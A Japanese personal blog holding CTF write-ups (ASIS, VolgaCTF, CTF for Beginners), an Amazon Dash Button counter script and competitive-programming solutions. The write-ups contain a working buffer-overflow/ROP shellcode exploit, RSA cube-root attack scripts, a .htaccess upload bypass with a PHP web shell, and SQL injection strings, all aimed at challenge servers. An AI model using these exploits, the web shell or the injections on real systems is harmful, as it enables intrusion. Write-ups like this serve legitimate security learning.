読者です 読者をやめる 読者になる 読者になる

h_nosonの日記

競プロなど

ASIS CTF Quals 2017 Writeup

https://asis-ctf.ir/challenges/
今回は一人で参加しました。
7問解き、763点で65位でした。
初めてpwnをコンテスト中に解いたので満足。
f:id:h_noson:20170409213619p:plain

Writeup

Welcome! (Trivia 1), CTF Survey (Trivia 9)

サービス問題

Start (Warm-up, Pwning 89)

こちらの資料がとても参考になりました。
https://speakerdeck.com/bata_24

バイナリが渡されます。文字列を入力してもなにも返ってきません。

ubuntu-xenial% ./Start_7712e67a188d9690eecbd0c937dfe77dd209f254
AAA
ubuntu-xenial%

objdumpしたらreadをしているだけでした。書き込み先が[rbp-0x10]なのに0x400バイト読みこんでいるので明らかにバッファオーバーフローします。

ubuntu-xenial% objdump -d -M intel Start_7712e67a188d9690eecbd0c937dfe77dd209f254
...
 400526:       55                      push   rbp
 400527:       48 89 e5                mov    rbp,rsp
 40052a:       48 83 ec 20             sub    rsp,0x20
 40052e:       89 7d ec                mov    DWORD PTR [rbp-0x14],edi
 400531:       48 89 75 e0             mov    QWORD PTR [rbp-0x20],rsi
 400535:       48 8d 45 f0             lea    rax,[rbp-0x10]
 400539:       ba 00 04 00 00          mov    edx,0x400
 40053e:       48 89 c6                mov    rsi,rax
 400541:       bf 00 00 00 00          mov    edi,0x0
 400546:       e8 b5 fe ff ff          call   400400 <read@plt>
 40054b:       b8 00 00 00 00          mov    eax,0x0
 400550:       c9                      leave
 400551:       c3                      ret
...

そしてcanary, NXが無効化されています。

ubuntu-xenial% checksec -f Start_7712e67a188d9690eecbd0c937dfe77dd209f254
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   No      01Start_7712e67a188d9690eecbd0c937dfe77dd209f254

ここで、スタックにシェルコードを入れて実行すると決め込んでしまいました。(方針ミスに気付くのに一日かかった…)
スタックはASLRによって実行ごとにアドレスが変わるのでシェルコードを仕込んでも簡単にはそこに飛ばすことができません。jmp rspなどのgadgetがあればROPによってスタック上のコードを実行することができますが今回はreadしかしていないとても短い実行ファイルなのでそのようなgadgetはありませんでした。
メモリマップを見ると.bssや.dataなどの0x601000から0x602000は書き込み可能、実行可能になっています。また、ASLRの影響を受けません。

gdb-peda$ vmmap
Start              End                Perm      Name
0x00400000         0x00401000         r-xp      /program/ctf/asisctf/2017/Start/Start_7712e67a188d9690eecbd0c937dfe77dd209f254
0x00600000         0x00601000         r-xp      /program/ctf/asisctf/2017/Start/Start_7712e67a188d9690eecbd0c937dfe77dd209f254
0x00601000         0x00602000         rwxp      /program/ctf/asisctf/2017/Start/Start_7712e67a188d9690eecbd0c937dfe77dd209f254
0x00007ffff7a0e000 0x00007ffff7bcd000 r-xp      /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7bcd000 0x00007ffff7dcd000 ---p      /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dcd000 0x00007ffff7dd1000 r-xp      /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd1000 0x00007ffff7dd3000 rwxp      /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd3000 0x00007ffff7dd7000 rwxp      mapped
0x00007ffff7dd7000 0x00007ffff7dfd000 r-xp      /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7fe6000 0x00007ffff7fe9000 rwxp      mapped
0x00007ffff7ff6000 0x00007ffff7ff8000 rwxp      mapped
0x00007ffff7ff8000 0x00007ffff7ffa000 r--p      [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp      [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r-xp      /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rwxp      /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffe000 0x00007ffff7fff000 rwxp      mapped
0x00007ffffffde000 0x00007ffffffff000 rwxp      [stack]
0xffffffffff600000 0xffffffffff601000 r-xp      [vsyscall]

ということでシェルコードをbssセクションに書き込んで実行させるスクリプトを書きました。
1回目のreadでROPのペイロードを渡して、2回目のreadでシェルコードを渡しています。

#!/usr/bin/env python2

from ppapwn import *
import sys
import time

if __name__ == '__main__':
    if len(sys.argv) == 1:
        s = Local("./Start_7712e67a188d9690eecbd0c937dfe77dd209f254")
    else:
        s = Remote("139.59.114.220",10001)

    shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
    read_plt = 0x400400
    shellcode_addr = 0x601050      # .bss
    pop_rsi = 0x4005c1             # pop rsi ; pop r15 ; ret

    payload = "A" * 0x18
    payload += p64(pop_rsi)
    payload += p64(shellcode_addr)
    payload += p64(0)              # dummy
    payload += p64(read_plt)
    payload += p64(shellcode_addr) # jump to shellcode
    print "[*] Sending payload"
    s.send(payload)
    time.sleep(0.1)

    print "[*] Sending shellcode"
    s.send(shellcode)
    s.interact()
ubuntu-xenial% ./exploit.py a
[*] Sending payload
[*] Sending shellcode
[*] Switching to interactive mode

$ ls
flag
start
$ cat flag
ASIS{y0_execstack_saves_my_l1f3}

フラグからしてスタックでもシェルコードを実行できるのだろうか。

A fine OTP server (Crypto 74)

暗号化されたワンタイムパスワードを復号する問題。

ubuntu-xenial% nc 66.172.27.77 35156
|-------------------------------------|
| Welcome to the S3cure OTP Generator |
|-------------------------------------|
| Guess the OTP and get the nice flag!|
| Options:
        [F]irst encrypted OTP
        [S]econd encrypted OTP
        [G]uess the OTP
        [P]ublic key
        [E]ncryption function
        [Q]uit
E
def gen_otps():
    template_phrase = 'Welcome, dear customer, the secret passphrase for today is: '

    OTP_1 = template_phrase + gen_passphrase(18)
    OTP_2 = template_phrase + gen_passphrase(18)

    otp_1 = bytes_to_long(OTP_1)
    otp_2 = bytes_to_long(OTP_2)

    nbit, e = 2048, 3
    privkey = RSA.generate(nbit, e = e)
    pubkey  = privkey.publickey().exportKey()
    n = getattr(privkey.key, 'n')

    r = otp_2 - otp_1
    if r < 0:
        r = -r
    IMP = n - r**(e**2)
    if IMP > 0:
        c_1 = pow(otp_1, e, n)
        c_2 = pow(otp_2, e, n)
    return pubkey, OTP_1[-18:], OTP_2[-18:], c_1, c_2

2つのパスワードを暗号化してるので暗号文の差を取って鍵を求めたりするのかと感じました。(罠でした)
暗号化する文字列は78文字であるため、三乗しても2048ビットのnを超えることはありません。よって三乗根を取ればパスワードが得られます。

#!/usr/bin/env python2
from ppapwn import *
from Crypto.Util.number import long_to_bytes

def cbrt(x):
    l = 0; r = 1<<78*8
    while (l + 1 < r):
        m = (l + r) // 2
        if m ** 3 <= x:
            l = m
        else:
            r = m
    return l

if __name__ == '__main__':
    s = Remote("66.172.27.77", 35156)
    s.recvuntil("[Q]uit\n")
    s.sendline("F")
    c_1 = int(s.recvline())
    s.sendline("S")
    c_2 = int(s.recvline())
    otp_1 = long_to_bytes(cbrt(c_1))
    otp_2 = long_to_bytes(cbrt(c_2))
    print otp_1
    print otp_2
    s.sendline("G")
    s.sendline(otp_1[-18:])
    s.recvline()
    print s.recvline()
    s.close()
ubuntu-xenial% ./solve.py
Welcome, dear customer, the secret passphrase for today is: QefgZREDBHTeKJIhwF
Welcome, dear customer, the secret passphrase for today is: TFPV8Z8VXzTaHzsG87
Woow, you got the flag :) ASIS{0f4ae19fefbb44b37f9012b561698d19}

Secured OTP server (Crypto 268)

ubuntu-xenial% nc 66.172.33.77 12431
|-------------------------------------|
| Welcome to the S3cure OTP Generator |
|-------------------------------------|
| Guess the OTP and get the nice flag!|
| Options:
        [F]irst encrypted OTP
        [S]econd encrypted OTP
        [G]uess the OTP
        [P]ublic key
        [E]ncryption function
        [Q]uit
E
def gen_otps():
    template_phrase = '*************** Welcome, dear customer, the secret passphrase for today is: '

    OTP_1 = template_phrase + gen_passphrase(18)
    OTP_2 = template_phrase + gen_passphrase(18)

    otp_1 = bytes_to_long(OTP_1)
    otp_2 = bytes_to_long(OTP_2)

    nbit, e = 2048, 3
    privkey = RSA.generate(nbit, e = e)
    pubkey  = privkey.publickey().exportKey()
    n = getattr(privkey.key, 'n')

    r = otp_2 - otp_1
    if r < 0:
        r = -r
    IMP = n - r**(e**2)
    if IMP > 0:
        c_1 = pow(otp_1, e, n)
        c_2 = pow(otp_2, e, n)
    return pubkey, OTP_1[-18:], OTP_2[-18:], c_1, c_2

今度は暗号化する文字列が長いため、三乗すると2048ビットを超えます。bytes_to_longで変換すると'*****...'の部分は上位ビットになります。したがって三乗したときにmod nから溢れる分はパスワードによらず同じになります。適当にパスワードを作って三乗し、nで割ることで溢れる分が計算できます。あとはその分を暗号文に足して三乗根を取ればパスワードがわかります。

#!/usr/bin/env python2
from ppapwn import *
from Crypto.Util.number import long_to_bytes, bytes_to_long
from Crypto.PublicKey import RSA
import string

def cbrt(x):
    l = 0; r = 1<<100*8
    while (l + 1 < r):
        m = (l + r) // 2
        if m ** 3 <= x:
            l = m
        else:
            r = m
    return l

if __name__ == '__main__':
    template = "*************** Welcome, dear customer, the secret passphrase for today is: " + "A" * 18

    s = Remote("66.172.33.77", 12431)
    s.recvuntil("[Q]uit\n")
    s.sendline("F")
    c_1 = int(s.recvline())
    s.sendline("S")
    c_2 = int(s.recvline())
    s.sendline("P")
    s.recvline()
    pubkey = RSA.importKey(s.recvuntil("-----END PUBLIC KEY-----\n"))
    n = getattr(pubkey, "n")
    k = (bytes_to_long(template) ** 3) // n
    otp_1 = long_to_bytes(cbrt(c_1+k*n))
    otp_2 = long_to_bytes(cbrt(c_2+k*n))
    print otp_1
    print otp_2
    s.sendline("G")
    s.sendline(otp_1[-18:])
    s.recvuntil(":) ")
    print s.recvline()
    s.close()
ubuntu-xenial% ./solve.py
*************** Welcome, dear customer, the secret passphrase for today is: kIL54hVQRZqCZ94953
*************** Welcome, dear customer, the secret passphrase for today is: tyTx8Lb5bmvMP8nRFt
ASIS{gj____Finally_y0u_have_found_This_is_Franklin-Reiter's_attack_CongratZ_ZZzZ!_!!!}

DLP (Crypto 158)

ubuntu-xenial% nc 146.185.143.84 28416
|-------------------------------------|
| Welcome to the DLP message Encryptor|
|-------------------------------------|
| Find the FLAG and get the points!!!!|
| Options:
|       [E]ncrypted FLAG
|       [P]ublic key
|       [C]ryptography function
|       [Q]uit
C
def encrypt(nbit, msg):
    msg = bytes_to_long(msg)
    p = getPrime(nbit)
    q = getPrime(nbit)
    n = p*q
    s = getPrime(4)
    enc = pow(n+1, msg, n**(s+1))
    return n, enc

メッセージを数値化したものをmとすると(n+1)^m\mod n^{s+1}を計算しています。つまり、{}_mC_sn^s+...+{}_mC_1n+{}_mC_0\mod n^{s+1}。まず、{}_mC_0は1とわかっているので1を引いておきます。{}_mC_sn^s+...+{}_mC_2n^2+{}_mC_1n\mod n^{s+1}。これをn^2でmodを取ればmnが残るので最後にnで割ってmがわかります。

#!/usr/bin/env python2

from ppapwn import *
from Crypto.Util.number import long_to_bytes

if __name__ == '__main__':
    s = Remote("146.185.143.84", 28416)
    s.sendline("E")
    s.recvuntil("enc = ")
    enc = int(s.recvline())
    s.sendline("P")
    s.recvuntil("n = ")
    n = int(s.recvline())
    print long_to_bytes((enc - 1) % (n*n) // n)
ubuntu-xenial% ./solve.py
ASIS{Congratz_You_are_Discrete_Logarithm_Problem_Solver!!!}

Piper TV

拡張子のないファイルが渡されます。

ubuntu-xenial% file PiperTV_e65d6f13bae89c187d2d719ee8bf35cfd9e96387
PiperTV_e65d6f13bae89c187d2d719ee8bf35cfd9e96387: tcpdump capture file (little-endian) - version 2.4 (Ethernet, capture length 262144)

tcpdumpで得たファイルのようなので拡張子をpcapに変えてwiresharkで開くとTCPがずっと続いています。
f:id:h_noson:20170409221529p:plain
一方的にデータを送っているようだったので「追跡->TCPストリーム->RAW形式->Save as...」でファイルに保存してみました。

ubuntu-xenial% file saved
saved: MPEG transport stream data

MPEGだったので拡張子を変えて再生したらフラグを得られました。

感想

ライブラリを整えたらだいぶ楽になった気がする。
多くの人が解いていたR Re Red ...とSecured Portalは解きたかった。

VolgaCTF 2017 Quals write up

shpxというチームを組ませていただいてから初めてのCTF。
700点を取り、117位という結果で終わりました。
個人では150+50+200(共同)点。全体的に全然わからなかったので精進が必要です。
f:id:h_noson:20170327225724p:plain

Write up

VC

A.pngとB.pngを重ねたら文字が見えたのでそれを読むだけでした。
f:id:h_noson:20170327214753p:plain
自分はこれを頑張って読みましたが、そのあとにチームの方がいい解法を教えてくれました。

composite -compose difference A.png B.png diff.png

f:id:h_noson:20170327225015p:plain

PyCrypto

実験してみると
flag:'AAAAAA',key:'ABCD' => '\x00\x03\x02\x05\x00\x03'
と暗号化されたので鍵をぐるぐる使いまわしている、flagとkeyをxorしていると予測しました。
これでxorかどうか確認できます。

#!/usr/bin/env python3
from struct import pack, unpack
from pycryptography import encrypt

if __name__ == '__main__':
    for x in range(256):
        for y in range(256):
            if x^y != unpack('B',encrypt(pack('B',x),pack('B',y)))[0]:
                print("No")
                exit(0)
print("Yes")

20bytesごとに同じ鍵が使われているので頻度をみて鍵を予測すればよさそうです。
英文はスペースの頻度が高いため、頻度が高いものをスペースと仮定して鍵を決めました。

#!/usr/bin/env python3
import string
from collections import Counter

if __name__ == '__main__':
    with open('flag.enc', 'rb') as fe:
        enc = fe.read()
        ans = [" "] * len(enc)
        for i in range(20):
            counter = Counter(enc[i::20])
            for m,_ in counter.most_common():
                key = m ^ 0x20
                ok = True
                for j in range(i,len(enc),20):
                    m = enc[j]^key
                    if chr(m) in string.printable:
                        ans[j] = chr(m)
                    else:
                        ok = False
                if ok:
                    break
print(''.join(ans))

Share Point

phpファイルなどはアップロードできません。画像はアップロードできるので画像からコードを実行できるようにすればよさそうです。
.htaccess

AddType application/x-httpd-php .jpg

と書いてアップロードすればjpgをphpとして実行できます。
あとはパラメータの値を実行するスクリプトを書いてcmd.jpgとしてアップロード。

<?php
    echo "<pre>";
    system($_GET['cmd']);
    echo "</pre>";
?>

f:id:h_noson:20170327223022p:plain
こんな感じでコマンドが実行できます。
コマンドを実行できるようになりましたが、フラグを見つけることができませんでした…のでここからはチームの方にやっていただきました。

cmd.jpg?cmd=find%20/%20-name%20*flag*

でflagの文字を含むファイルが列挙できるようです。
/opt/flag.txtにありました。

Share機能はなんだったんだろう…

CTF for ビギナーズ Writeup & 参加記

CTF for ビギナーズに参加してきました。
解けない問題も多かったのですが運よく優勝しました。


Tシャツと本をいただきました。感謝

Writeup

Misc 100 Welcome

問題文のflagそのまんま

Misc 200 CountUp Game

21を言ってはいけないので常に4の倍数を言うようにすれば勝てる。
一度ミスすると相手は4の倍数をずっと言ってくるのでそこからでも推測できる。

Misc 200 てけいさん for ビギナーズ

計算結果を送信しようとするとindex.phpにPOSTされるので送信先php_math.phpに変更してから送信する。ただ、100回やらないといけないのでスクリプトを組んでやるべき。自分はスクリプトが書けず、問題名通り手計算しました。つらかった。。
渡された環境でやるならF12押して変えたいところをダブルクリックすれば送信先を変更できる。

Web 100 Classical Injection

ユーザ名に「' or 1 -- 」と入れればOK。単純なSQL Injection

Web 100 May the extensions be with you.

問題を忘れましたがCookieのfalseをtrueに変えるだけだった気がします。

Web 200 もぐもぐ(・~・)

シングルクォーテーションを入れるとエラーを吐くのでSQL Injectionだと当たりをつける。「' union select 1,1,1,1 -- 」などとするとカラム数は4つだとわかる。あとは講義でやったようにテーブル名、カラム名を取得し、怪しげなsecret_umasugiテーブルを出力するとflagが得られる。

Forensics 100 みつけてみよう

pcapファイルをWiresharkで開くとHTTP requestが20個あるので、一つ一つ中身をみてflagがあるか確認する。右下のStreamの値をいじれば楽。「tcp matches "ctf4b{(.)*(.)}"」だと一発らしい。

Forensices 200 あけてみよう

pcapファイルをWiresharkで開きHTTPでfilterをかけるとzipファイルを受け取っていることがわかる。File->Export Objects->HTTP...->Saveでzipファイルを保存できる。中には2.pcapがあり、Wiresharkで開くとFTP通信を行っていて、secret.zipを受け取っている。FTP-DATAでfilterをかけてFollow->TCP Streamとするとファイルの中身が表示されるのでShow data asをRawにしてから保存。unzipするとflagが得られる。

Binary 100 HiddenFlag

stringsするだけ

strings bin100_1 | grep ctf4b

Binary 200 復習

講義のようにコードを順に追っていく。どういうコードだったかは忘れました。

Binary 200 Unused Function

objdumpするといかにもな部分がある。
f:id:h_noson:20170130213754p:plain
0x63=c,0x74=t,0x66=fなのでこれですね。vimで開けば矩形選択できるのでいらない部分をそぎ落として次のコードを実行すればflagが得られます。

#include <stdio.h>

int main(void) {
  int c;
  while (scanf("%x",&c) != EOF) {
    printf("%c",c);
  }
  return 0;
}

問題名通りにいくとIDAで開いて条件分岐を操作するのだろうか。

最後に

自分が解けなかった問題を解いてる人が何人もいたのでほんとに運がよかった。
頂いた本を読んで勉強しようと思います。

Amazon Dash ButtonでAC数をカウントする

巷で流行りのAmazon Dash Buttonで何かしようということで,競プロのAC数を数えてみたいと思います.

環境

ボタンが押されたことを検知

ボタンが押されたことを検知できないと何も始まらないのでまず検知を行う.
参考:Amazon Dash ButtonをただのIoTボタンとして使う - Qiita

  • Amazon Dash Buttonはボタンが押される度に,IPアドレスを取得するためDHCPサーバにリクエストを行っている
  • DHCPリクエストはブロードキャストで行われる
  • ほとんどのデバイスは,IPアドレスを受け取った後IPアドレスが重複していないか確認するため,ARPプローブを行う(これもブロードキャスト)

DHCPリクエストかARPプローブを監視すればボタンが押されたことを検知できる.
ほとんどの方がARPプローブの監視をしていたけど,自分の場合はARPプローブが行われずARPリクエストが2回行われていたため2回検知することを避けてDHCPリクエストを監視することにした.
scapyに関しては
Scapyで作る・解析するパケットUsage — Scapy v2.1.1-dev documentation
を参考にした.

DHCPリクエストはUDP port 67なので

sniff(filter="udp port 67", prn=lambda x: x.show())

を実行した状態でボタンを押すと以下のようにMACアドレスがわかる.

###[ Ethernet ]###
  dst= ff:ff:ff:ff:ff:ff
  src= xx:xx:xx:xx:xx:xx
  type= 0x800
###[ IP ]###
....

これでMACアドレスによるfilterも行える.

sniff(filter="ether src xx:xx:xx:xx:xx:xx and udp port 67", prn=count)

パケットを受け取った際にprnに設定した関数が呼ばれるので,そこでカウントが行えるようにした.このプログラムではjsonを読み込んでその日のAC数をインクリメントしている.

from scapy.all import sniff
import json
import time
from datetime import date,timedelta,datetime

def count(_):
    try:
        with open("ACcount.json", "r") as fp:
            data = json.load(fp)
    except IOError:
        data = json.loads('{}');

    d = date.today()
    year = str(d.year)
    month = str(d.month)
    day = str(d.day)
    if not year in data:
        data.update({year:{month:{day:0}}})
    elif not month in data[year]:
        data[year].update({month:{day:0}})
    elif not day in data[year][month]:
        data[year][month].update({day:0})
    data[year][month][day] += 1

    print "AC!" + " (" + str(time.ctime()) + ")"
    print "today's AC: " + str(data[year][month][day])
    with open("ACcount.json", "w") as fp:
        json.dump(data, fp)

sniff(filter="ether src xx:xx:xx:xx:xx:xx and udp port 67", prn=count)

これでAC数を数えることができるようになった.

数えただけだとつまらないので一日のAC数をtweetさせてみようと思う.先ほど作ったjsonファイルを読み込んでその内容を23:59にtweetするように調整した.

from requests_oauthlib import OAuth1Session
from datetime import date,timedelta,datetime
import json
import time
import sched

CK = 'XXXXXXXXXXXXXXXXXXXXXXXXX'                          # Consumer Key
CS = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX' # Consumer Secret
AT = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX' # Access Token
AS = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'      # Access Token Secret
twitter = OAuth1Session(CK,CS,AT,AS)

def get_msg_for_day(data):
    d = date.today()
    year = str(d.year)
    month = str(d.month)
    day = str(d.day)
    if year in data and month in data[year] and day in data[year][month]:
        return u"今日のAC数: " + str(data[year][month][day])
    else:
        return ""

def get_msg_for_month(data):
    d = date.today()
    nd = date.today() + timedelta(days=1)
    if d.month == nd.month: return ""
    year = str(d.year)
    month = str(d.month)
    if year in data and month in data[year]:
        sm = 0
        for day in data[year][month]:
            sm += data[year][month][day]
        return u"今月のAC数: " + str(sm)
    else:
        return ""

def get_msg_for_year(data):
    d = date.today()
    nd = date.today() + timedelta(days=1)
    if d.year == nd.year: return ""
    year = str(d.year)
    if year in data:
        sm = 0
        for month in data[year]:
            for day in data[year][month]:
                sm += data[year][month][day]
        return u"今年のAC数: " + str(sm)
    else:
        return ""

def get_msg():
    try:
        with open("ACcount.json","r") as fp:
            data = json.load(fp)
    except IOError:
        data = json.loads("{}")
    msgs = []
    msgs.append(get_msg_for_day(data))
    msgs.append(get_msg_for_month(data))
    msgs.append(get_msg_for_year(data))
    return '\n'.join(filter(lambda s: s != "",msgs))

def tweet():
    message = get_msg()
    if message == "":
        print("no AC")
    else:
        print("Sending message...")
        print(message)
        url = "https://api.twitter.com/1.1/statuses/update.json"
        params = {'status': message}
        res = twitter.post(url, params = params)
        if res.status_code == 200:
            print("OK")
        else:
            print("Error: %d" % res.status_code)
    add_event()

def add_event():
    d = datetime.today()
    nextd = datetime(d.year,d.month,d.day) + timedelta(days=1) - timedelta(seconds=30)
    print("supposed to tweet at " + str(nextd))
    s.enter((nextd-d).total_seconds(),1,tweet,())

print("Twitter client is running")
s = sched.scheduler(time.time,time.sleep)
add_event()
s.run()

面倒な点

  • ACする度にボタンを押さないといけない
  • tweetするときにノートPCを開いておく必要がある(サーバがほしい)

AC数をカウントすることで今後のモチベーションにつながることを期待してる

yukicoder No.429 CupShuffle

問題

No.429 CupShuffle - yukicoder
N個のコップについて交換の仕方・最終配置が与えられる.ただし,X回目の交換の仕方の情報が抜けている.どのコップを交換したかを求める問題.

解法

解説を見るとX-1回目までswapを行い,一方K回目からX+1回目まで逆順でswapを行って,その差を求める,という解法だった.しかし逆方向からswapを行う必要はなく,X回目を飛ばして最後までswapを行って最終配置と比較する.このとき間違っているコップは2つだけのはずなので,X回目での配置を覚えておけばどこを交換すべきだったかが求められる.

ソースコード

[n,k,x] = map(int,input().split(' '))
x -= 1
s = [i for i in range(1,n+1)]
for i in range(k):
    if i == x:
        input()
        tmp = s[:]
        continue
    [a,b] = map(int,input().split(' '))
    a -= 1
    b -= 1
    s[a],s[b] = s[b],s[a]
c = list(map(int,input().split(' ')))
t = [s[i] for i in range(n) if s[i] != c[i]]
for i in range(n):
    if tmp[i] in t:
        print(i+1,end=' ')
print("")

最近pythonを使い始めたけど,c++より全然書きやすい

CODE FESTIVAL 2016 qual B E - Lexicographical disorder

問題

E: Lexicographical disorder - CODE FESTIVAL 2016 qual B | AtCoder
N個の文字列Siが与えられる.以下のクエリにQ回答える問題
整数kと{'a',...,'z'}を並び替えたp1,...,p26が与えられる.文字の順序がp1<p2<...<p26の時SkはN個の文字列の中で何番目か

解法

Skより小さい文字列の数を高速に求めたい.トライ木を構成して各ノードで文字列の数を覚えておけばいいことがわかる.しかし,とても長い文字列が来ることがあるのでトライ木では間に合わない.トライ木のノードを圧縮して得られるパトリシア木を使うことで無駄な探索がなくなる.
パトリシア木の解説は気が向いたら+もっと綺麗にかけるようになったら...

ソースコード

#include <iostream>
#include <vector>
#include <map>
#include <set>
#include <queue>
#include <algorithm>
#include <iomanip>
#include <cassert>
using namespace std;

#define GET_ARG(a,b,c,F,...) F
#define REP3(i,s,e) for (i = s; i <= e; i++)
#define REP2(i,n) REP3 (i,0,(int)(n)-1)
#define REP(...) GET_ARG (__VA_ARGS__,REP3,REP2) (__VA_ARGS__)
#define RREP3(i,s,e) for (i = s; i >= e; i--)
#define RREP2(i,n) RREP3 (i,(int)(n)-1,0)
#define RREP(...) GET_ARG (__VA_ARGS__,RREP3,RREP2) (__VA_ARGS__)
#define DEBUG(x) cerr << #x ": " << x << endl

struct Patricia {
    int num;
    bool end;
    string str;
    vector<Patricia*> children;
    Patricia() {}
    Patricia(string s) : str(s), num(1), end(true) {}
};

Patricia root;

void add(string s) {
    Patricia* node = &root;
    bool down = true;
    while (down && s.size() > 0) {
        down = false;
        for (auto ch: node->children) {
            if (ch->str[0] == s[0]) {
                int i;
                for (i = 0; i < min(ch->str.size(),s.size()) && ch->str[i] == s[i]; i++);
                if (i < ch->str.size()) {
                    Patricia* nnode = new Patricia(ch->str.substr(0,i));
                    nnode->children.push_back(ch);
                    nnode->num = ch->num+1;
                    nnode->end = false;
                    node->children.erase(find(node->children.begin(),node->children.end(),ch));
                    node->children.push_back(nnode);
                    ch->str.erase(0,i);
                    if (i == s.size()) {
                        nnode->end = true;
                    }
                    node = nnode;
                }
                else {
                    ch->num++;
                    if (i == s.size()) {
                        ch->end = true;
                    }
                    node = ch;
                }
                s.erase(0,i);
                down = true;
                break;
            }
        }
        if (!down) node->children.push_back(new Patricia(s));
    }
}

int pri[26];

int query(string s) {
    Patricia* node = &root;
    int ret = 0;
    while (s.size()) {
        Patricia* nxt;
        for (auto ch: node->children) {
            if (ch->str[0] == s[0]) {
                ret += ch->end;
                nxt = ch;
            }
            else if (pri[ch->str[0]-'a'] < pri[s[0]-'a']) {
                ret += ch->num;
            }
        }
        s.erase(0,nxt->str.size());
        node = nxt;
    }
    return ret;
}

string str[100000];

int main(void) {
    int i, n;
    scanf("%d\n",&n);
    REP (i,n) {
        char c;
        while (scanf("%c",&c), c != '\n') str[i] += c;
        add(str[i]);
    }
    int q;
    scanf("%d",&q);
    while (q--) {
        int k;
        scanf("%d ",&k);
        k--;
        char c;
        REP (i,26) {
            scanf("%c",&c);
            pri[c-'a'] = i;
        }
        printf("%d\n",query(str[k]));
    }
    return 0;
}

yukicoder No.416 旅行会社

問題

No.416 旅行会社 - yukicoder
N個の点とM本の辺が与えられ,CiとDiの間の辺を壊すというクエリがQ個与えられる.それぞれの点は何回目のクエリで点1から到達できなくなるか答える問題.

解法

辺を繋いで(この問題では壊して)ある点から到達できるかを求めたいので,UnionFindが使えることがわかる.まず,最後まで破壊されない辺を結合させる.そしてクエリを逆から読んで辺を繋いでいき初めて点1に到達できたときが,この問題でいうと点1から到達できなくなるときになる.点1を含む集合と結合したときに点1に到達できた点を列挙したいのだが,単純にvectorなどで集合を管理しているとマージするときに最悪O(n)必要で,全体の計算量がO(n^2)になってしまう.一般的なマージテクを使うとO(nlogn)に抑えられるらしいのだが(小さい方の集合を大きい方の集合に足す,というやり方なのだろうか),ここでは木をマージさせていくことでO(n)に抑えた.UnionFindでは親への辺を張り替えていくことで集合の結合を行っている.このとき同時に親から子への辺を繋ぐことでどの点が親に繋がっているか管理できる.

ソースコード

#include <iostream>
#include <vector>
#include <set>
#include <algorithm>
using namespace std;

#define GET_ARG(a,b,c,F,...) F
#define REP3(i,s,e) for (i = s; i <= e; i++)
#define REP2(i,n) REP3 (i,0,(int)(n)-1)
#define REP(...) GET_ARG (__VA_ARGS__,REP3,REP2) (__VA_ARGS__)
#define RREP3(i,s,e) for (i = s; i >= e; i--)
#define RREP2(i,n) RREP3 (i,(int)(n)-1,0)
#define RREP(...) GET_ARG (__VA_ARGS__,RREP3,RREP2) (__VA_ARGS__)

int par[200000], ans[200000];
vector<int> child[200000];

int find(int x) {
    if (par[x] == x) return x;
    else return par[x] = find(par[x]);
}

void dfs(int x, int event) {
    ans[x] = event;
    for (auto y: child[x]) dfs(y,event);
}

void unite(int x, int y, int event) {
    x = find(x);
    y = find(y);
    if (x == y) return;
    if (x == 0) {
        dfs(y,event);
        par[y] = x;
    }
    else if (y == 0) {
        dfs(x,event);
        par[x] = y;
    }
    else {
        par[x] = y;
        child[y].push_back(x);
    }
}

vector<int> e[200000];
set<int> del[200000];
int C[200000], D[200000];

int main(void) {
    int i, n, m, q;
    scanf("%d%d%d",&n,&m,&q);
    REP (i,m) {
        int a, b;
        scanf("%d%d",&a,&b);
        a--; b--;
        e[a].push_back(b);
    }
    REP (i,q) {
        scanf("%d%d",&C[i],&D[i]);
        C[i]--; D[i]--;
        del[C[i]].insert(D[i]);
    }

    REP (i,n) par[i] = i;

    REP (i,n) for (auto x: e[i]) if (!del[i].count(x)) {
        unite(i,x,-1);
    }
    RREP (i,q) {
        unite(C[i],D[i],i+1);
    }
    REP (i,1,n-1) printf("%d\n",ans[i]);
    return 0;
}